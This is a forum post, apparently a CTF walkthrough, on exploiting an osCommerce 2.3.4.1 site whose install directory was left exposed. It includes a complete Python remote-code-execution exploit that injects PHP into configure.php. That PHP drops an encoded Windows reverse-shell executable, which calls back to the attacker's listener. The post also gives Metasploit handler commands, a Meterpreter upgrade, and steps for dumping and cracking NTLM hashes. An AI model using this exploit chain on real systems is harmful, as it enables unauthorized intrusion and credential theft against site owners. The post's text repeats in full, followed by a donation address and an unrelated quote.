Apr 21, 2020 03:26 PM
(This post was last modified: Apr 21, 2020 03:28 PM by slober.)
[osCommerce] RCE, reverse shelling, python and a hashdump! #8
Welcome to the 8th tutorial. This one will guide you through the world of reverse shelling an RCE vulnerable osCommerce website.
We're going to elevate our reverse shell to a Meterpreter shell and perform a hash dump enjoy✌
When your installing osCommerce 2.3.4.1 and you're forgetting to remove the installation directory there is a chance you could get hacked this version is vulnerable to Remote Code Execution or RCE for short.
Let's go.
First, I ran a generic Nmap scan of my target the website wasn't located on the default 80 port it was on the other (in my case default2 port) 8080 port
![[Image: 0.png]](https://i.ibb.co/VLts6b8/0.png)
![[Image: 2.png]](https://i.ibb.co/9p7SQt9/2.png)
Well, let's take a closer look at the website. It was a pretty broken osCommerce installation so something went wrong no doubt about it. Let's try if the install directory is accessible.
![[Image: A.png]](https://i.ibb.co/hZRnxgw/A.png)
Yes, it is. At this point, we have two options we can install the website and run a PHP reverse shell gaining access that way or we could try that exploit. I'm going to show the exploit it's more educational going that route 👍.
Firstly, we are going to create a listener. I often forget the listener and it's a pain to run everything 3 or 4 times (yes it happened to me a lot of wrong ports wrong IP some way or another this is a step where I * up the most 😋).
I'm running this listener in Metasploit you can also run this using Ncat but this CTF challenge required me to get the NTLM dump so a Meterpreter shell would be beneficial in this case.
You can start the Metasploit framework by typing Msfconsole in cmd
After this, we are going to start our "exploit" our reverse TCP shell
You can do this by typing the following
The commands itself is pretty much self-explanatory.
You should get something similar to this
![[Image: 1.png]](https://i.ibb.co/wgvBwtH/1.png)
Time for the exploit:
You can find the basic exploit at https://www.exploit-db.com/exploits/44374
This exploit is slightly altered well the exploit itself isn't altered buy the payload is we are running this on a windows machine so this payload is tailored to run on a windows based system you can find this exploit over at this Github page: https://github.com/Dhayalanb/windows-php...0Shell.php
There are four things you need to edit before you run it the IP of the target (you'll need to enter it twice) Your IP and The port you're listening to also this site was HTTP so be sure to replace https by Http I've made that mistake...
My favorite IDE still is Thony so here is an output you should get.
![[Image: 3.png]](https://i.ibb.co/H4Chpnj/3.png)
Be sure you'll visit the configure PHP file afterward this will run your exploit. It should be included in the output at the bottom. In my case, it was something like this.
and tada, this should appear in your Metasploit console
![[Image: 4.png]](https://i.ibb.co/PgBCcWX/4.png)
Now we are going to background our current session we are going to upgrade this session to a Meterpreter session.
To background a Meterpreter session you should use ctrl +z or type background in your shell.
![[Image: 5.png]](https://i.ibb.co/PWw6GxP/5.png)
You can now upgrade your session by typing
The -u stands for upgrade and the 1 is the session you want to upgrade you should only have 1 session so it should normally be 1.
![[Image: 6.png]](https://i.ibb.co/Ky6yBqM/6.png)
Once it all ran you can type sessions -i 2
this will allow you to interact with your new Meterpreter session!
![[Image: 7.png]](https://i.ibb.co/r2xVhKB/7.png)
You can now dump those hashes fairly easy by typing run hash dump and behold your NTLM hashes will show up.
![[Image: 8.png]](https://i.ibb.co/PwKTDZK/8.png)
You can crack these hashes using JhonTheRipper, Hashcat or an online tool. This time I've chosen this one and it did the job pretty fast and good and a lot quicker than an offline cracker.
![[Image: 9.png]](https://i.ibb.co/wr8VJvg/9.png)
And that is all I hope you've found it an interesting read and you've found some new techniques you could use in the future 🙃.
Spoiler (Click to View)
Welcome to the 8th tutorial. This one will guide you through the world of reverse shelling an RCE vulnerable osCommerce website.
We're going to elevate our reverse shell to a Meterpreter shell and perform a hash dump enjoy✌
When your installing osCommerce 2.3.4.1 and you're forgetting to remove the installation directory there is a chance you could get hacked this version is vulnerable to Remote Code Execution or RCE for short.
Let's go.
First, I ran a generic Nmap scan of my target the website wasn't located on the default 80 port it was on the other (in my case default2 port) 8080 port
![[Image: 0.png]](https://i.ibb.co/VLts6b8/0.png)
![[Image: 2.png]](https://i.ibb.co/9p7SQt9/2.png)
Well, let's take a closer look at the website. It was a pretty broken osCommerce installation so something went wrong no doubt about it. Let's try if the install directory is accessible.
![[Image: A.png]](https://i.ibb.co/hZRnxgw/A.png)
Yes, it is. At this point, we have two options we can install the website and run a PHP reverse shell gaining access that way or we could try that exploit. I'm going to show the exploit it's more educational going that route 👍.
Firstly, we are going to create a listener. I often forget the listener and it's a pain to run everything 3 or 4 times (yes it happened to me a lot of wrong ports wrong IP some way or another this is a step where I * up the most 😋).
I'm running this listener in Metasploit you can also run this using Ncat but this CTF challenge required me to get the NTLM dump so a Meterpreter shell would be beneficial in this case.
You can start the Metasploit framework by typing Msfconsole in cmd
Code
msfconsoleAfter this, we are going to start our "exploit" our reverse TCP shell
You can do this by typing the following
Code
Use exploit/multi/handler
set payload windows/shell/reverse_tcp
set LHOST [YOURIP]
set LPORT [YOURPORT]
runThe commands itself is pretty much self-explanatory.
You should get something similar to this
![[Image: 1.png]](https://i.ibb.co/wgvBwtH/1.png)
Time for the exploit:
Code
# Exploit Title: osCommerce 2.3.4.1 Remote Code Execution
# Date: 29.0.3.2018
# Exploit Author: Simon Scannell - https://scannell-infosec.net <[email protected]>
# Version: 2.3.4.1, 2.3.4 - Other versions have not been tested but are likely to be vulnerable
# Tested on Linux, Windows
# If an Admin has not removed the /install/ directory as advised from an osCommerce installation, it is possible
# for an unauthenticated attacker to reinstall the page. The installation of osCommerce does not check if the page
# is already installed and does not attempt to do any authentication. It is possible for an attacker to directly
# execute the "install_4.php" script, which will create the config file for the installation. It is possible to inject
# PHP code into the config file and then simply executing the code by opening it.
import requests
# enter the the target url here, as well as the url to the install.php (Do NOT remove the ?step=4)
base_url = "http://10.10.14.203:8080//oscommerce-2.3.4/catalog/"
target_url = "http://10.10.14.203:8080/oscommerce-2.3.4/catalog/install/install.php?step=4" # use the machine IP
data = {
'DIR_FS_DOCUMENT_ROOT': './'
}
# the payload will be injected into the configuration file via this code
# ' define(\'DB_DATABASE\', \'' . trim($HTTP_POST_VARS['DB_DATABASE']) . '\');' . "\n" .
# so the format for the exploit will be: '); PAYLOAD; /*
payload = '\');'
payload += 'header("Content-type: text/plain");'
payload += '$ip = "10.8.6.162";' # use tun0 IP address
payload += '$port = "1234";'
payload += '$payload = "7Vh5VFPntj9JDklIQgaZogY5aBSsiExVRNCEWQlCGQQVSQIJGMm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C8YqIXNy2e1FgGMGMzuVYlHT92GhoAIwDoCdYmOEDPBw2FnoAJ3euzGO01InJYhPqH0HJEE9yte5EY8fRMAnJ45sUESifocFozaHmMHM5FAf0ZKTqi1cYQpH7mVUFM/DYwLhG5b9h9Ar16GihfI3DLT4qJj5kBkwzHZ4iG+rVoUqKX6auNa2O2YeKQ20JDCFuzDVjZpP5VO6QZ9ItFEMucDQ2ghgNMf1Nkgm224TYiMJv+469Iu2UkpZGCljZxAC2qdoI39ncSYeIA/y//C6S0HQBE7X/EvkBjzZ+wSjQu+RNWj8bG9v++bjOK30O1H9XnqGJvAwD99pu5eW8t+631fGsjQ2PXh/J8vD1CeDxApspOU8LoMU4KJMZ581H0jRsdHPmWAfAUQhFPkqoUKvO4ABAuhmeeT1yRSClWqQBgg+T10QzFYPRo91vMlUoVab9FYUqxGP3m0FzJ6+TXiQBfokhF//zoHVuRlimG0dozN+f/O7/5vwA=";'
payload += '$evalCode = gzinflate(base64_decode($payload));'
payload += '$evalArguments = " ".$port." ".$ip;'
payload += '$tmpdir ="C:\\windows\\temp";'
payload += 'chdir($tmpdir);'
payload += '$res .= "Using dir : ".$tmpdir;'
payload += '$filename = "D3fa1t_shell.exe";'
payload += '$file = fopen($filename, "wb");'
payload += 'fwrite($file, $evalCode);'
payload += 'fclose($file);'
payload += '$path = $filename;'
payload += '$cmd = $path.$evalArguments;'
payload += '$res .= "\n\nExecuting : ".$cmd."\n";'
payload += 'echo $res;'
payload += '$output = exec($cmd);'
payload += '/*'
data['DB_DATABASE'] = payload
# exploit it
r = requests.post(url=target_url, data=data)
if r.status_code == 200:
print("[+] Successfully launched the exploit. Open the following URL to execute your code\n\n" + base_url + "install/includes/configure.php")
else:
print("[-] Exploit did not execute as planned")You can find the basic exploit at https://www.exploit-db.com/exploits/44374
This exploit is slightly altered well the exploit itself isn't altered buy the payload is we are running this on a windows machine so this payload is tailored to run on a windows based system you can find this exploit over at this Github page: https://github.com/Dhayalanb/windows-php...0Shell.php
There are four things you need to edit before you run it the IP of the target (you'll need to enter it twice) Your IP and The port you're listening to also this site was HTTP so be sure to replace https by Http I've made that mistake...
My favorite IDE still is Thony so here is an output you should get.
![[Image: 3.png]](https://i.ibb.co/H4Chpnj/3.png)
Be sure you'll visit the configure PHP file afterward this will run your exploit. It should be included in the output at the bottom. In my case, it was something like this.
Code
http://10.10.14.203:8080//oscommerce-2.3.4/catalog/install/includes/configure.php![[Image: 4.png]](https://i.ibb.co/PgBCcWX/4.png)
Now we are going to background our current session we are going to upgrade this session to a Meterpreter session.
To background a Meterpreter session you should use ctrl +z or type background in your shell.
Code
background![[Image: 5.png]](https://i.ibb.co/PWw6GxP/5.png)
You can now upgrade your session by typing
Code
sessions -u 1The -u stands for upgrade and the 1 is the session you want to upgrade you should only have 1 session so it should normally be 1.
![[Image: 6.png]](https://i.ibb.co/Ky6yBqM/6.png)
Once it all ran you can type sessions -i 2
this will allow you to interact with your new Meterpreter session!
![[Image: 7.png]](https://i.ibb.co/r2xVhKB/7.png)
You can now dump those hashes fairly easy by typing run hash dump and behold your NTLM hashes will show up.
![[Image: 8.png]](https://i.ibb.co/PwKTDZK/8.png)
You can crack these hashes using JhonTheRipper, Hashcat or an online tool. This time I've chosen this one and it did the job pretty fast and good and a lot quicker than an offline cracker.
![[Image: 9.png]](https://i.ibb.co/wr8VJvg/9.png)
And that is all I hope you've found it an interesting read and you've found some new techniques you could use in the future 🙃.
Spoiler (Click to View)
Public Honeypot Project: https://github.com/Slober3/PotHead
Honeypot Twitter: https://twitter.com/HoneyHive9
BTC: 1Anime1QrjwsEmz8bC2FwVcNXDLxP3SWAJ
Honeypot Twitter: https://twitter.com/HoneyHive9
BTC: 1Anime1QrjwsEmz8bC2FwVcNXDLxP3SWAJ
Erin Wrote:It’s fine. There’s nothing to be afraid of. Calm down, Lilan


